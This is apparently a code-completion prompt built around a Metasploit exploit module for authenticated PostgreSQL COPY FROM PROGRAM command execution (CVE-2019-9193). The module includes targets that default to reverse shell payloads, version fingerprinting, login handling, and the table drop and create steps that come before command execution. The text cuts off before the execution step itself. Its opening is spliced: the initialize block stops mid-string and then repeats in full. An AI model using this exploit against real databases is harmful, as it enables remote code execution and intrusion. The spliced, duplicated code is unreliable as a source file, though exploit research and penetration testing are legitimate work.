You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: postgres_copy_from_program_cmd_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/postgres
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::OptionalSession::PostgreSQL

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',
      'Description' => %q(
        Installations running Postgres 9.3 and above have functionality which allows for the superuser
        and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.
        This allows arbitrary command execution as though you have console access.

        This module attempts to create a new table, then execute system commands in the context of
        copying the command output into the table.

        This module should work on all Postgres systems running version 9.3 and above.

        For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl

        For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp
        Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload
        or other customised command.
      ),
      'Author' => [
        'Jacob Wilkin' # Exploit Author of Module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9193'],
        ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],
        ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
      ],
      'PayloadType' => 'cmd',
      'Platform' => %w(linux unix win osx),
      'Payload' => {
      },
      'Arch' => [ARCH_CMD],
      'Targets'        =>
        [
          [
            'Unix/OSX/Linux', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/unix/reverse_perl' }
              }
          ],[
            'Windows - PowerShell (In-Memory)', {
              'Platform' => 'windows',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/windows/powershell_reverse_tcp' }
              }
          ],[
            'Windows (CMD)',
            'Platform'   => 'win',
            'Arch'       => [ARCH_CMD],
            'Payload' => {
              'Compat'     => {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'adduser, generic'
              }
            }
          ],
        ],
      'DisclosureDate' => '2019-03-20'
    ))

    register_options([
      OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
      OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload comm
    
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',
      'Description' => %q(
        Installations running Postgres 9.3 and above have functionality which allows for the superuser
        and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.
        This allows arbitrary command execution as though you have console access.

        This module attempts to create a new table, then execute system commands in the context of
        copying the command output into the table.

        This module should work on all Postgres systems running version 9.3 and above.

        For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl

        For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp
        Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload
        or other customised command.
      ),
      'Author' => [
        'Jacob Wilkin' # Exploit Author of Module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9193'],
        ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],
        ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
      ],
      'PayloadType' => 'cmd',
      'Platform' => %w(linux unix win osx),
      'Payload' => {
      },
      'Arch' => [ARCH_CMD],
      'Targets'        =>
        [
          [
            'Unix/OSX/Linux', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/unix/reverse_perl' }
              }
          ],[
            'Windows - PowerShell (In-Memory)', {
              'Platform' => 'windows',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/windows/powershell_reverse_tcp' }
              }
          ],[
            'Windows (CMD)',
            'Platform'   => 'win',
            'Arch'       => [ARCH_CMD],
            'Payload' => {
              'Compat'     => {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'adduser, generic'
              }
            }
          ],
        ],
      'DisclosureDate' => '2019-03-20'
    ))

    register_options([
      OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
      OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
      ])

    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
  end

  # Return the datastore value of the same name
  # @return [String] tablename for table to use with command execution
  def tablename
    datastore['TABLENAME']
  end

  def check
    vuln_version? ? CheckCode::Appears : CheckCode::Safe
  end

  def vuln_version?
    version = postgres_fingerprint
    return false unless version[:auth]
    vprint_status version[:auth].to_s
    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
    Rex::Version.new(version_full) >= Rex::Version.new('9.3')
  end

  def login_success?
    status = do_login(username, password, database)
    case status
    when :noauth
      print_error "#{peer} - Authentication failed"
      return false
    when :noconn
      print_error "#{peer} - Connection failed"
      return false
    else
      print_status "#{peer} - #{status}"
      return true
    end
  end

  def execute_payload
    # Drop table if it exists
    query = "DROP TABLE IF EXISTS #{tablename.inspect};"
    drop_query = postgres_query(query)
    case drop_query.keys[0]
    when :conn_error
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
      return false
    when :sql_error
      print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} dropped successfully"
    else
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
      return false
    end

    # Create Table
    query = "CREATE TABLE #{tablename.inspect}(filename text);"
    create_query = postgres_query(query)
    case create_query.keys[0]
    when :conn_error
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
      return false
    when :sql_error
      print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{tablename} created successfully"
    else
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
      return false
    end